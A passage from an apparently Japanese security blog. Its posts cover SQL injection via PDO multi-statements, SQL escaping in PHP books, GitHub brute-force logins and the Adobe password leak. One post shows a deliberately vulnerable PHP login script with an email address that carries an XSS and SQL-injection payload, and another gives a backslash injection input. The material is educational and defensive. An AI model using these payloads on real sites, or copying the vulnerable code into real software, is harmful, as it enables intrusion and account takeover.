このリクエストはmysql関数が呼び出すものと何ら変わりません。そこで、DB接続時の設定が違うのではないかと思い、そちらを調べてみました(Chasetがlatin1になっているのはPHP5.2.1でのキャプチャであるためです。PHP5.3.5までは接続文字列で指定した文字エンコーディングは無視されていました)。

Supports multiple statementsのビットがセットされています。これが原因のようですね。mysqlおよびmysqliの場合は、このビットは0にセットされています。
次に、該当のソースを見てみます。ext/pdo_mysql/mysql_driver.c のmysql_driver.cです。
448:         int connect_opts = 0
449: #ifdef CLIENT_MULTI_RESULTS
450:                 |CLIENT_MULTI_RESULTS
451: #endif
452: #ifdef CLIENT_MULTI_STATEMENTS
453:                 |CLIENT_MULTI_STATEMENTS
454: #endif
CLIENT_MULTI_STATEMENTSはMySQLのAPIで複文の呼び出しを許可するフラグです。MySQLのマニュアルから該当箇所を引用します。
クライアントが複数行クエリ(‘;’ をステートメントの区切りとする)を送信する可能性があることをサーバに通知する。このフラグが設定されていない場合、複数行クエリは無効。MySQL 4.1 の新機能。
MySQL :: MySQL 4.1 リファレンスマニュアル :: 11.1.3.43 mysql_real_connect() より引用
これを読むと、条件コンパイルの意味が分かりますね。CLIENT_MULTI_STATEMENTSはMySQL 4.1以降で有効ですが、PDOはMySQLの3.xもサポートしていたため、CLIENT_MULTI_STATEMENTSをサポートしていないMySQLを考慮する必要があるということでしょう。
試みに、上記引用部分をコメントアウトしてPHPをビルドしたところ、MySQLで複文実行はできなくなりました。これらから、PDOは複文の実行を(少なくともソースコード上は)明示的に許可していることが分かります。


PDO+MySQLで複文実行できる条件

PHPの様々なバージョンでの試験やソースコードの状況から、PDO+MySQLで複文実行できる条件は下記になると思われます。
  • MySQL4.1以上(上記から)
  • PHP5.2.1以上(試験から)
  • PDO::setAttribute(PDO::ATTR_EMULATE_PREPARES, false); を呼んでいない
PHP5.2.0以下を使っている場合、、あるいは PDO::setAttribute(PDO::ATTR_EMULATE_PREPARES, false); を呼んでいる場合は、PDO::queryによるSQL呼び出しであっても下記のようにいったんprepareされます。

そして、下記のエラーになります。
Error Code: 1064
SQL Code: 42000
Error eessage: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'update tb2 set ban=ban+1' at line 1
queryでは複文は許可されても、Prepare statementでは許可されないようです。


複文を実行できる影響

 MySQLの場合、SQLインジェクションの影響は情報漏えいとファイルの読み書きが主なものですが、複文を実行できる場合は、これに加えて、以下が可能となります。いずれも、権限がある場合です。

  • データベースの更新(いわゆる改ざん)
  • データベースの行削除やテーブルの削除
  • 新規テーブルの作成
  • 新規データベースの作成
  • 新規ユーザの作成
  • データベースの削除
  • その他SQLにて実行可能なこと

SQLインジェクション攻撃の影響が詳しく載っている金床本にもMySQLにて複文実行可能な可能性については言及されていません(MS SQLやPostgreSQLは言及されている)。これはMySQLに対する一般的な認識だと思いますが、このため、MySQLを使っている場合にSQLインジェクションでデータ変更されないとして、これらリスクを受容している場合は特に注意が必要です。


対策

この件について特別な対策は必要ありません。複文が実行されない環境であってもSQLインジェクション脆弱性は受容できない脆弱性として取り扱うべきです。淡々とSQLインジェクション対策すればよいと考えます。以下を推奨します。

  • 原則として文字列連結でSQL文を組み立てない
  • パラメータはプレースホルダにより指定する
  • 特別な事情がなければ静的プレースホルダを使う。元々その方が安全だが、PDO::setAttribute(PDO::ATTR_EMULATE_PREPARES, false);により複文の実行も予防できる
  • 詳しくはIPAの「安全なSQLの呼び出し方」を読む

まとめ

PDO+MySQLの組み合わせで、アプリケーションにSQLインジェクション脆弱性があると、通常の攻撃に加えて複文による攻撃が可能となり、データの変更や削除が可能となることを紹介しました。
ただし、大騒ぎするような問題ではないと考えます。大騒ぎしなければならないのは、あなたの管理するWebサイトやWebアプリケーションにSQLインジェクション脆弱性がある場合です。SQLインジェクションは元々「あってはならない」脆弱性であって、複文実行が可能になったからと言って、それが変わるわけではないからです。

2013年12月13日金曜日

PHPとセキュリティの解説書12種類を読んでSQLエスケープの解説状況を調べてみた

この投稿はPHP Advent Calendar 2013の13日目の記事です。昨日は@tanakahisateruPHPが糞言語なのはどう考えても参照をポインタだと思っているお前らが悪いでした。

現在twitterのタイムラインで、史上空前のSQLのエスケープブームが起こっています。
これらのうち、最初に参照した大垣さんのブログは、以下のように始まっています。
ツイッターでの議論を見て「SQLエスケープを教える必要はない」とする原因は「教育の基本」と「セキュリティの基本」の理解不足が「根本的な原因」だと解ってきました。
オレオレSQLセキュリティ教育は論理的に破綻しているから引用
これを読んで、SQLインジェクション対策という文脈でエスケープ(SQLの文字列リテラルにおけるエスケープ)を教える必要がないという意見があるのだろうかと疑問に思いました。そのため、PHPの教科書、セキュリティの教科書や冊子(PHPにフォーカスしたもの)合計12種類について、SQLインジェクション対策がどのように説明されているかを調査しましたので報告します。

1. よくわかるPHPの教科書(たにぐちまこと著)

ジャパネットたにぐちさんこと、たにぐちまことさんの書かれたPHP入門書です。長らくPHP入門書のAmazon売り上げトップを独走していました。全くの初心者の状態から、twitter風のひと言掲示板の作成まで進みます。

エスケープの説明あり(バックスラッシュのエスケープが抜けている)
SQLライブラリmysql関数
対策方針エスケープ(mysql_real_escape_string)
数値列の扱いsprintfの%d書式+エスケープ
文字エンコーディング指定SET NAMES UTF8

上の表のように、基本的にmysql_real_escape_stringによるエスケープ処理でSQLインジェクション対策していますが、数値列に関しては以下のようにsprintfと組み合わせています。
$sql = sprintf('INERT INTO my_items SET maker_id=%d 【略】', 
    mysql_real_escape_string($_POST['maker_id']));
実は上記は冗長でして、値をシングルクォートで囲っていない場合はエスケープをしても無意味です。上記のSQLインジェクション対策のキモは%d書式による数値化にあります。
これだけであれば、冗長なだけで脆弱性ではありませんが、同書のP272には、sprintfを忘れて単に文字列連結した箇所があり、こちらはmysql_real_escape_string関数によりエスケープ処理はしていますが、脆弱性が混入しています。詳しくは、私のエントリ『よくわかるPHPの教科書』のSQLインジェクション脆弱性を参照ください。
また、文字エンコーディングの指定をSET NAMES UTF8の呼び出しにより行っていますが、あまり良くありません。その理由については、libmysqlclientを使うプログラムはset namesをutf8であっても使ってはいけないを参照ください。ただし、大半の環境で脆弱性となることはないと思われます。正しくは、mysql_set_charset関数により指定することですが、mysql関数そのものがPHP5.5から非推奨になりましたので、PDOまたはmysqli関数に移行しましょう。たにぐち本が書かれた頃は、その情報はなかったので、mysql関数を使っていることは仕方ないと思います。

2. いきなりはじめるPHP~ワクワク・ドキドキの入門教室~(谷藤賢一著)

3. 気づけばプロ並みPHP~ショッピングカート作りにチャレンジ!(谷藤賢一著)

「いきなり始める…」は、よくわかるPHPの教科書に代わって、現在Amazonの売り上げトップをひた走るPHP入門書です。HTMLも知らない状態で、教科書に従ってPHPソースを打ち込んでいくと、最終的にDB検索までできるという趣向です。開発環境としてはXAMPPを使用しています。

エスケープの説明なし
SQLライブラリPDO
対策方針プレースホルダ
数値列の扱いプレースホルダのため考慮の必要がない
文字エンコーディング指定SET NAMES UTF-8

ご覧のように、エスケープの説明がありませんが、PDOによるプレースホルダを使って脆弱性が入らないようにしています。PHPの入門書であれば、この方法でも問題ないと感じました。本書の続編に「気づけばプロ並みPHP~ショッピングカート作りにチャレンジ!(谷藤賢一著)」がありますが、SQLに関しては本書と同じスタイルです。本書のサンプルは色々怪しいところがあり、初期化していない配列に要素を挿入していたり(何カ所もある)、session_destroy()を呼ぶ前にsession_start()を呼んでいないためにログアウト処理でセッションが破棄されていない…等々が散見されますが、幸いSQLインジェクション脆弱性はないようです。

4. 基礎からのPHP(西沢 夢路著)

たにぐち本を強く意識していると思われる全ページカラーで、構成もたにぐち本と同様、入門から、画像処理、メール送信、アップロード、DBなどを広範囲に網羅しています。最終的には画像投稿掲示板を作ります。

エスケープの説明なし
SQLライブラリPDO(冒頭でmysqlの説明もある)
対策方針プレースホルダ
数値列の扱いプレースホルダのため考慮の必要がない
文字エンコーディング指定指定していない

本書は最終的にはPDOによりMySQLにアクセスする方法を説明していますが、その前にmysqlを用いて基本的なSQLアクセスを説明しています。この段階のサンプルにはSQLインジェクションがあり、同書P166には下記の言い訳(?)が載っています。
不謹慎ですが、P272で勉強する「SQLインジェクション対策」はまったくしていませんあくまで練習用ということでご了解ください。逆に後でSQLインジェクションを試してみるのも面白いかもしれません。
最初に脆弱性のある状態で説明する方法には同意しませんが、後のPDOのサンプルは、原則としてプレースホルダを用いてSQL文を呼び出しているのでSQLインジェクション脆弱性はありません。ただし、以下の微妙なコードはあります(gz_logon2.php)。
$u = htmlspecialchars($_POST['user'], ENT_QUOTES);
// 略
$ps = $db->query("SELECT pas FROM table2 WHERE id='$u'");
$uはユーザIDですが、HTMLエスケープした状態でSQL文に埋め込んでいます。HTMLエスケープの際にENT_QUOTESを指定しているので、シングルクォートは&#039;とエスケープされるので、SQLインジェクションに使えませんが、バックスラッシュ(円記号)はエスケープされません。しかし、外部から操作できるパラメータが一つだけだとかろうじて攻撃できない気がします。もしもWHERE句が以下の形であれば、SQLインジェクション攻撃が可能です。
WHERE id='$u' and pwd pas='$p'    # WHERE句が左記の場合

$u ← \
$p ← or 1=1 #

WHERE句は下記となる

id='\' and pwd pas='or 1=1 #'
    ~~~~~~~~~~~~~~~
    ここまでが文字列リテラル
すなわち、第1パラメータにバックスラッシュを指定すると、第2のパラメータはSQL文の一部となり、UNION SELECTなど好きなSQL機能を用いて攻撃できます。 あぶなっかしい箇所は他にもありますが、それはプレースホルダを使っていないことが原因であり、プレースホルダを使っていれば問題ないものです。

5. かんたんWebプログラミング! これから始める人のPHP学習帖(小川 淳一著)

この本も短いプログラムを打ち込みながら学習するスタイルで、最終的には画像掲示板を作成します。2013年11月30日発行ですから、出たばかりですね。

エスケープの説明間違っている
SQLライブラリmysqli および PDO
対策方針プレースホルダ
数値列の扱いプレースホルダのため考慮の必要がない
文字エンコーディング指定mysqli_set_charset およびPDO接続文字列

エスケープの説明が間違っているところを引用します(同書P202)。
たとえば、X'masなど、送信されたデータにシングルクォートやダブルクォートが含まれていると、SQL文法エラーとなり、データ登録などの処理が実行されません。必ずhtmlspecialchars関数で無害しておきましょう
ガタッという感じですが、幸いなことに同書はSQL呼び出しの際に、かたくなにプレースホルダを用いているので、SQLインジェクション脆弱性はなさそうです。多少プログラマの知識が怪しくても(これ自体は残念ですが)、プレースホルダを用いるとSQLインジェクションの可能性をかなり減らすことができる例と言えます。

6. パーフェクトPHP(小川 雄大、柄沢 聡太郎、橋口 誠著)

言わずとしれたパーフェクトPHP。素晴らしい本で、私もPHPの細かい文法を同書で勉強しています。

エスケープの説明データベース専用のエスケープ関数を使え
SQLライブラリPDO
対策方針主にプレースホルダ
数値列の扱いプレースホルダの場合は考慮の必要がないが、
エスケープについては記述なし
文字エンコーディング指定なし

同書のSQL呼び出しの説明は基本的にPDOを用いていますが、SQLインジェクションの説明の節では、プレースホルダが使えない場合はpg_escape_stringやmysql_real_escape_stringなど「データベースエンジン毎に用意された関数」でエスケープするように推奨しています。これは正しい指摘ですが、数値列の場合にどうするかは説明されていません。

7. プロになるための PHPプログラミング入門(星野 香保子著)

タイトルの示すように、入門書を卒業した人がパーフェクトPHPに行く前に読むとよいような位置づけです。入門書だとバリデーションの説明はまずないのですが、同書には「入力値チェック処理」という節が用意されています。CakePHPやAjaxの説明もありと盛りだくさんで、セキュリティの解説も正確です。

エスケープの説明なし
SQLライブラリmysqli
対策方針プレースホルダ
数値列の扱いプレースホルダのため考慮の必要がない
文字エンコーディング指定set_charsetメソッド

同書はセキュリティに関しては手堅い解説をしています。SQL呼び出しについても、ライブラリの選択、文字エンコーディングの指定、プレースホルダ利用の徹底などの点で模範的です。

8. PHP逆引きレシピ(鈴木 憲治他著)

これも有名な「逆引きレシピ」です。最近第2版が出ましたが、こちらは第1版のほうです。

エスケープの説明データベース専用のエスケープ関数を使うよう説明
SQLライブラリmysql および mysqli
対策方針プレースホルダを優先し、だめな場合はエスケープ
数値列の扱いエスケープの場合はすべての値をシングルクォートで囲む
文字エンコーディング指定mysql_set_charset等

第1版のSQLインジェクション対策については、こちらに批判記事を書きました。問題を要約すると、エスケープすべきでないものまでエスケープしている問題と言えると思います。この問題は第2版では解決されています。

9. PHP逆引きレシピ 第2版(鈴木 憲治他著)

前述の逆引きレシピ第2版です。この第2版は本当に素晴らしい。PHPセキュリティの最新動向をよく把握して、具体的なレシピに落とし込んでいます。すべてのPHP開発者にお勧めします。

エスケープの説明データベース専用のエスケープ関数を使うよう説明
SQLライブラリPDO
対策方針プレースホルダを優先し、だめな場合はエスケープ
数値列の扱いプレースホルダの場合は考慮の必要がない。プレースホルダを使わない場合は、「数値以外の文字が混入しないように入力値を検証する必要があります」
文字エンコーディング指定接続文字列に指定

冒頭に書いたように、この第2版は素晴らしいです。「もうペチパーは緩いなんて言わせない」と叫びたくなるほどのインパクトがあります。たとえば、暗号的に強い乱数が必要な局面では、openssl_random_pseudo_bytes関数を推奨しています。類書だと、uniqidやmt_randを進めている場合が多い状況でした。 SQLインジェクションについては、数値の扱いが厳密になったことと、SQL呼び出しの説明全般がPDOとプレースホルダを用いて記述されていているので安心です。

10. 安全なSQLの呼び出し方

IPAが公開している「安全なウェブサイトの作り方」の別冊です。SQL呼び出しに特化して詳しく説明しています。

エスケープの説明原理から実際まで詳細に説明
SQLライブラリPHPサンプルではMDB2
対策方針プレースホルダ(推奨)、エスケープ
数値列の扱いプレースホルダの場合は考慮の必要がない、エスケープの際もquoteメソッドによる数値対応を推奨
文字エンコーディング指定MDB2の接続文字列

本冊子は、SQLインジェクションの前提となるSQL文法の説明、発生原理から、具体的な対策についてまとめたものです。エスケープ処理をしても、あるいはプレースホルダを用いていても、SQLインジェクション脆弱性が混入する原理や、各エスケープ処理用の関数の生成するエスケープ結果を調査して、安全な方法を解説しています。
上記説明のために、エスケープ処理についてはかなり詳細に説明していますが、それは、エスケープ処理を推奨するためではなく、エスケープ処理が難しいものであるので極力避けて欲しいという意図です。そして、原理的に(パラメータ埋め込みの文脈では)SQLインジェクション脆弱性の混入しない静的プレースホルダを推奨し、各言語での具体的な記述方法を解説しています。
また、エスケープ処理については、文字列と数値に分けて、あるべき処理結果と、各ライブラリの実際の挙動を紹介しています。
安全なSQLの呼び出し方は、公開されてから一度も改版されていないので、「安全になった」という表現は適当でありません。現在のものが安全だとすれば、それはもともと安全であったことを意味します。一方、この冊子の本体である「安全なウェブサイトの作り方」は、脆弱性の概要説明であるので、より一般的・抽象的な表現になっていますが、エスケープの説明について第1版から記述があります。以下は第1版のP4からの引用です。
ということで、「IPAの文書」にエスケープが説明されてなかったなんてことはないはずです。

11. 体系的に学ぶ 安全なWebアプリケーションの作り方 脆弱性が生まれる原理と対策の実践(徳丸浩著)

拙著、いわゆる徳丸本です。

エスケープの説明本文中では簡潔に記して「安全なSQLの呼び出し方」を参照
SQLライブラリMDB2
対策方針プレースホルダ
数値列の扱いプレースホルダのため考慮の必要がない
文字エンコーディング指定接続文字列中に記述

拙著ではSQL文字列リテラルのエスケープについては簡単にしか説明していませんが、SQLインジェクションの原理を説明する箇所で以下のように説明しています(P128)。
文字列リテラルの問題
 SQLの標準規格では、文字列リテラルはシングルクォートで囲みます。文字列リテラル中にシングルクォートを含めたい場合は、シングルクォートを重ねる決まりです。これを「シングルクォートをエスケープする」と言います。このため、「O'Reilly」をSQLの文字列リテラルにすると、'O''Reilly'になります。
 ところが SQLインジェクション脆弱性のあるプログラムでは、シングルクォートを重ねる 処理が抜けているため次のようなSQL文が組み立てられます。
対策に関しては、元々拙著は初心者向けを目指して執筆されたこともあり、複数の方法を示すよりも確実に安全な方法を一つ紹介しようという判断から、実務的な対策方法としてはプレースホルダを主に紹介しています。動的に検索条件やソート列が変化するような「プレースホルダでは書きにくい」と思われてきたクエリについても、プレースホルダでの記述例を紹介しています。
また、SQLインジェクションとは別の問題ですが、LIKE述語のワイルドカード(%と_など)のエスケープが必要なため、こちらのエスケープについては詳しく説明しています。
ということで、拙著においてSQLエスケープは、以下の方針に従っています。
  • 原理のところで簡単にエスケープを説明する
  • 実務的な対策はプレースホルダ推奨
  • どうしてもエスケープが必要な場合は安全なSQLの呼び出し方を読んでね


12. Webアプリセキュリティ対策入門 ~あなたのサイトは大丈夫?(大垣 靖男著)

大垣さんのご著書、いわゆる大垣本です。

エスケープの説明あり
SQLライブラリsqlite関数
対策方針プレースホルダ(推奨)、またはエスケープ
数値列の扱い数値であることの確認
文字エンコーディング指定なし

あらためて大垣本を確認して意外に思ったのですが、大垣本もプレースホルダ推奨だったのですね。一度は読んでいたはずですが、大垣さんの近年のエスケープ推しの印象が強いため忘れていたようです。同書P51には概要のまとめとして下記があります。
対策
SQL文のパラメータとなる入力が、数値型である場合は必ず数値型データであることを確認する。文字列型のデータである場合は必ずデータベースシステムにあったエスケープ方式で文字列をエスケープする。プリペアードクエリが利用できる場合は、プリペアードクエリを使用する
同じくP146には下記の記述があります。
基本的に、データベースが提供する文字列エスケープ関数をすべての変数に使用していれば、脆弱性は発生しません。注意しなければならないのは、データベースによって動作やエスケープしなければならない文字が異なることと、プリペアードクエリのサポートです。
 データベースがプリペアードクエリをサポートしている場合は、プリペアードクエリを使用した方がよいです。PostgreSQLはプリペアードクエリが利用できます。
ということで、少なくとも同書が出たころ(2006年3月)は、大垣さんのプレースホルダ(プリペアードクエリ)推しだったようです。今はどうなのでしょうか?

まとめ

PHPの教科書9種類と、セキュリティの解説書3種類を読んで、SQLインジェクション対策と関連してエスケープの説明をしているかどうかを確認しました。
調査前は、私自身は「SQLインジェクションの解説なら当然エスケープは説明するだろう」と予測していたのですが、PHPの教科書ではエスケープを説明していないモノが多く、プレースホルダを用いてSQLインジェクション対策しているものが目立ちました。
一方、セキュリティの解説書の場合は、今回紹介しなかったものも含め、エスケープについては解説していました。
PHPの解説書ではSQLのエスケープを説明しない場合が多い点については、私は、これはこれでアリだろうと思いました。初学者のうちは、とにかく安全に、SQLインジェクションを混入しない書き方が求められます。この点、「プロになるための PHPプログラミング入門」には、SQLインジェクション脆弱性の発生原因として下記が指摘されています。
自分でパラメータを文字列連結しながらSQL文を組み立てている
私は上記に深く同意します。そして、文字列連結なしにSQL文を呼び出そうとすると、必然的にプレースホルダを使わざるを得ません。
また、次の見方もできます。今回調べたPHP入門書の中には、失礼ながら著者自身のプログラミング力量が怪しいものが少なからず見られましたが、その割にはSQLインジェクション脆弱性は見つかりませんでした。これはプレースホルダを使っていれば、(絶対に大丈夫という訳ではないにしても)少々ミスをしてもSQLインジェクション脆弱性の混入は食い止められるということです。このエントリで紹介した唯一のSQLインジェクション例は、エスケープ処理の不適切な実装によるものでした。また、脆弱性ではないにしても、数値列を含むエスケープ処理(あるいはSQLリテラルの正しい構成)は、PHP解説書の著者でさえも難しいらしく、不適切な例が見られました。
全体のまとめは下記の通りです。
  • PHP初心者がSQLを呼び出す場合は、「ともかく文字列連結でSQL文を組み立てるな、プレースホルダを使え」という指導は有効
  • SQLインジェクションについて深く知るためにはエスケープ処理を知る必要がある
  • SQLの動的組み立てを必要とするフレームワーク、O/Rマッパー、データベース管理ツール等の開発には、上記ルールだけでは不足だが、少数の優れた開発者が担当するものであり、必要に応じて高度な技術を学んでもらえばよい

次回はでこくん(@dekokun)ですね。よろしくお願いします。

2013年11月29日金曜日

XSSとSQLインジェクションの両方が可能なRFC5322適合のメールアドレス

メールアドレスの「ルール」に関する話題が盛り上がっていますね。
これらのエントリに異論があるわけでありません。メールアドレスに関するルールというとRFC5322などがあるものの、現実の運用では簡易的な仕様を用いている場合が大半である…という事情は、私も以前ブログに書きました。、
本稿では、「空前のメールアドレスのルールブーム(?)」に便乗する形で、RFC5322に準拠したメールアドレスで、XSSやSQLインジェクションの攻撃ができることを紹介します。と言っても、SQLインジェクションについては、過去に書きましたので、本稿では、RFC5322バリッドなメールアドレスでSQLインジェクションとXSSの両方ができるメールアドレスを紹介します。
まず、攻撃対象として、以下のログインスクリプトを用います。メールアドレスはfilter_varを用いてメールアドレスとしての妥当性を確認し、パスワードは英数字のみであることをctype_alnumを用いて確認しています。
<?php
  define('USERNAME', 'xxxxx');
  define('PASSWORD', 'xxxxx');

  $err = $id = $pwd = '';
  // ユーザID(メールアドレス)のバリデーション
  if (isset($_GET['id']) && filter_var($_GET['id'], FILTER_VALIDATE_EMAIL)) {
     $id = $_GET['id'];   // ユーザID
  } else {
     $err .= 'ユーザIDはメールアドレスを指定してください<br>';
  }
  // パスワード(英数字)のバリデーション
  if (isset($_GET['pwd']) && ctype_alnum($_GET['pwd'])) {
    $pwd = $_GET['pwd']; // パスワード
  } else {
     $err .= 'パスワードは英数字を指定してください<br>';
  }
  if ($err !== '') {
    die($err); // バリデーションエラーの場合はエラーメッセージを表示して終了
  }
  // データベースに接続
  $dbh = new PDO('mysql:dbname=test;host=localhost;charset=utf8', USERNAME, PASSWORD);
  // SQLの組み立て
  $sql = "SELECT * FROM users WHERE id ='$id' AND pwd = '$pwd'";
  $stmt = $dbh->query($sql);  // クエリー実行
?><html>
<body><?php
  echo 'sql= ' . htmlspecialchars($sql, ENT_NOQUOTES, 'UTF-8') . '<br>';
  if ($stmt->rowCount() > 0) { // SELECTした行が存在する場合ログイン成功
    echo "ログイン成功です(id:$id)";
  } else {
    echo 'ログイン失敗です';
  }
  $dbh = 0;
?></body>
</html>
実行例を示します。まずは、ログイン成功の場合です。最下行にログインユーザ名が表示されますが、ここにXSS脆弱性があります。


次に、ログイン失敗の場合です。


これに対する攻撃メールアドレスですが、XSS攻撃に必要な記号文字 < や > はダブルクォートで囲まないとメールアドレスのローカルパート(@の左側)では使えないため、ダブルクォートで囲ったメールアドレスにします。以下にそのような例を示します。
"><script>alert('or/**/1=1#')</script>"@example.jp
ここで、/**/は空のコメントですが、filter_varによるメールアドレスチェックでは(quoted-stringでも)空白がエラーになった(*1)ので、空白の代わりに使用しています。
このメールアドレスを先のログインスクリプトに指定すると、以下の画面になります。


ちゃんと(?)XSSが発動していますね。OKボタンをクリックすると続いて下記の画面になります。


SQLインジェクション攻撃により、IDが存在しないのにログインに成功しています。

なお、このメールアドレスはRFC準拠なので、ThunderbirdとGmailでは、このメールアドレス(ドメイン名は変えました)に送信可能であることを確認しています。Becky!での送信は括弧のせいでエラーになるようです。


ということで、RFC5322バリッドで、SQLインジェクションもXSSもできるメールアドレスを示しました。

ただし、このメールアドレスは中々に危険です。その理由については私の過去のエントリを御覧ください。このため、この種のメールアドレスを公開Webサイト等で試すことは避けてくださいますようにお願い致します。

*1 phpallで確認したところ、PHP5.3.2までは空白入りのメールアドレスがValidと判定されていましたが、PHP5.3.3以降ではエラーになるようです。

2013年11月22日金曜日

GitHubに大規模な不正ログイン試行

GitHubのブログおよび国内の報道によると、GitHubに対して大規模な不正ログインが試みられたようです。
GitHubは米国時間の2013年11月19日、ブルートフォース攻撃を受けたことを明らかにした。攻撃の時期や被害を受けたアカウント数は公にしていないが、今回の攻撃を踏まえ、より強固なパスワードや二要素認証などを利用するようユーザーに呼び掛けている。
GitHubにブルートフォース攻撃、一部のパスワードが破られるより引用
私もGitHubアカウントがありますのでSecurity Historyページを確認したところ、不正ログインの試行が確認されました。IPアドレスは、ベネズエラ、タイ、ブラジルのものです。


GitHubアカウントをお持ちの方は、念のためSecurity Historyを確認することを推奨します。
今回の不正ログインの特徴は以下のようなものです。
  • 少数の「弱いパスワード」に対する試行と思われる
  • 1アカウントに対して、時間をおいて少しずつ試行する「ゆっくりした攻撃」
  • 4万のIPアドレスからの分散攻撃
  • 攻撃のパターンからはパスワードリスト攻撃ではないと思われる
私は以前、このブログにて以下のように書きました。
「辞書」のサイズはさまざまでしょうが、数十から数千くらいと推測されます。ペネトレーション検査等では数千以上の「大きな辞書」を使いますが、実際の攻撃では、1つのIDでちょっと試して、だめだったら次のIDで試した方が効率的のような気がします(攻撃対象が誰でも良い場合)
パスワード攻撃に対抗するWebサイト側セキュリティ強化策より引用
上記の「小さな辞書の方が効率的」と書いたことが現実に行われたと考えます。攻撃対象が誰でもよいと思う理由の1つは、私自身のGitHubリポジトリには価値あるソースコードがない、ということです。
となると、犯人の動機が気になるところですが、
  • GitHubにホストされたソースにマルウェアを注入したかった(ソフトウェアは何でもよかった)
  • GitHubのOAuthでログインできるサイトの不正利用
  • その他
などが考えられます。

この種の攻撃へのサイト側の対策は容易ではありません。攻撃者は、既存のセキュリティ施策をかいくぐるように攻撃をしています。
  • アカウントロックを避けるために1アカウントあたり少ない試行で留める
  • IPアドレスを4万に分散させ、IPアドレス単位のロックや監視をくぐり抜ける
  • 試行を「ゆっくり」行うことにより、試行回数によるロックや監視をかいくぐる
一方で、「小さな辞書」を用いると言うことは、123456やpasswordなどの「安易なパスワード」を避けるだけで対策できると考えられます。現在のGitHubには既に、パスワードの辞書チェック機能が実装されています。以下は、GitHubにてパスワードを「password1」に変更しようとした際の画面です。

「パスワードはハッカーに推測されます」というエラーメッセージが表示され、このパスワードには設定できません。この辞書チェック機能は最近実装されたものでしょう。GitHubは迅速に対処を進めています。同様の辞書チェック機能は、既にtwitter、google、facebookでは実装されています(参照)。

利用者側の対処はシンプルです。以下を推奨します。
  • 推測しにくいパスワードを設定する(必須)
  • 他のサイトで使っていないパスワードを設定する(必須)
  • 二要素認証を有効にする(推奨)
ということで、私も(GitHubに重要資産はないものの、念のため)GitHubの二要素認証を有効にしました。

追記(11:00) 不正ログインが大量に成功したわけではないので、タイトルに「試行」と追記しました。

2013年11月11日月曜日

Adobeサイトから漏えいした暗号化パスワードはなぜ解読されたか

Adobe社のサイトの不正アクセス(参照参照)によって、少なくとも3800万人のIDと暗号化されたパスワードが漏えいしたと言われています。既に報告したように、私のアカウントも漏えいしていました。
その後、『Adobeの情報流出で判明した安易なパスワードの実態、190万人が「123456」使用』というニュースが流れてきました。安易なパスワードが使われている統計は今までもあり、「パスワードの実態」に関しては「そんなものだろうな」と思いましたが、問題は、どうやって「暗号化パスワード」を解読したかです。
別の報道では、Adobeサイトがパスワードの暗号化に用いていたアルゴリズムはトリプルDESだったということです。トリプルDESは電子政府推奨暗号リストの今年の改訂でもしぶとく生き残り広く使われている暗号化アルゴリズムです。そんなに簡単に解読されたのでは問題ですが、実際には、「トリプルDESが解読された」わけではないようです(良かったw)。

先の報道および参照元によると、暗号鍵を解析して復号したのではなく、別の方法でパスワードそのものを推測したということです。しかし、方法はともかく、平文パスワードを取得されてしまっては暗号化の意味がありません。そこで、なぜ平文パスワードを解読されてしまったかを調べて見ました。
謎を解く鍵は、以下のコメントにあります。
集計できた理由としてSCGのジェレミ・ゴスニー最高経営責任者(CEO)は、「Adobeがハッシュよりも対称鍵暗号を選び、ECBモードを選択し、全てのパスワードに同じ鍵を使っていたことや、ユーザーが平文で保存していたパスワード推測のヒントがあったおかげ」だと説明している。
Adobeの情報流出で判明した安易なパスワードの実態、190万人が「123456」使用より引用
以下、順に説明します。

ECBモードで暗号化されていた

Adobeサイトのパスワードはブロック暗号化モードとしてECBが選択されていたということですが、これを言い換えると、「元のパスワードが同じであれば、暗号化されたパスワードも同じになる」ということです。「当たり前じゃないか」と思う人がいるかもしれませんが、同じパスワードが常に同じ暗号結果になると、平文(元パスワード)推測の大きなヒントになります。
なぜなら、暗号化パスワードの中に、出現数の非常に多いものがあれば、「passwordや123456などよく使われる安易なパスワード」である可能性が高いことになります。仮に暗号文からの解読ができないにしても、元のサイトに対して辞書攻撃を掛ければ、元パスワードが判明する可能性が高くなります。
「アカウントロックで防げないか?」という疑問が生じますが、単純なアカウントロックでは防げません。たとえば、yamada、tanaka、sato…のIDが同じパスワードを使っていることが分かったとして、以下の表のように、IDとパスワードを共に変えながらパスワードを試す攻撃ができます。(今回の解読に使われた方法ではありません)。

IDパスワード
yamdapassword
tanakaqwerty
sato123456
......
※ yamada, tanaka, sato ... は同じパスワードを使っていることが分かっているとする

ここで、sato:123456が認証成功したとすると、satoだけでなく、yamada、tanakaもパスワードが123456であることが分かります。

この問題はハッシュ値でパスワードを保存する場合にも生じます。このため、ハッシュ値でパスワードを保存する場合はソルト(salt)を用いて、同じパスワードでもハッシュ値が別々になるようにするわけてすが、暗号化の場合はソルトではなく、初期化ベクトル(IV)とブロック暗号化モードいうものを用いて、暗号結果がばらばらになるようにします。詳しくは、暗号の参考書をご覧下さい。
以上のように、Adobeサイトのパスワード暗号化の方法には重大な問題があったことになります。

パスワードの「ヒント」が平文保存されていた

Adobeサイトには、過去、パスワードのヒントというものを保存することができたようです。現在のAdobeサイトにはこの機能は削除されていますが、Adobeサイトのヘルプやヘルプのアーカイブをあさると、「パスワードのヒント」という機能があったことが伺えます。


先の記事や参照元を見ると、このヒントは平文でデータベースに保存され、暗号化パスワードとともに漏えいしたようです。そして、ヒントにパスワードそのものを保存していたり、容易にパスワードが推測できる文が書かれていたりしたとのことです。下記は、その例を示すゴスニー氏のツイートです。
「旧社名、アドビでなく、アドビの前、アドビに買収された」というヒントから、パスワードはmacromediaだと推測しています。アドビに買収された会社は他にもありますが、このパスワードをつけている人は54,651人もいて全体の16位ですから、他のユーザのヒントや、「アドビの買収した会社の中でも有名な会社」、パスワードの長さ、などから確定としたのでしょう。暗号化したパスワードは可変長なので、1~7文字、8~15文字という単位(トリプルDESは64ビットブロック暗号なので)でおおよそのパスワード長が分かります。

結局パスワードの保存はどうすればよいか

Adobeサイトのパスワード保存方法の問題点(推測)について説明しました。現在パスワードの保存方法のベストプラクティスはソルト付きハッシュ + ストレッチングということになっいるので、それに従うのが無難かと思います。PHPの場合は、PHP5.5から password_hash という便利な関数が追加されたので、これでパスワードを保存するのがよいでしょう。同じ仕様の関数がpassword_compatライブラリ(PHP5.3.7以降)として公開されていますので、PHP5.5未満のPHPからも利用できます。

まとめ

  • AdobeサイトのパスワードはトリプルDESで暗号化されていたが、実装の不備により平文パスワードが推測されてしまった
    • 初期化ベクトルを使わないために同一パスワードが同一暗号文となる
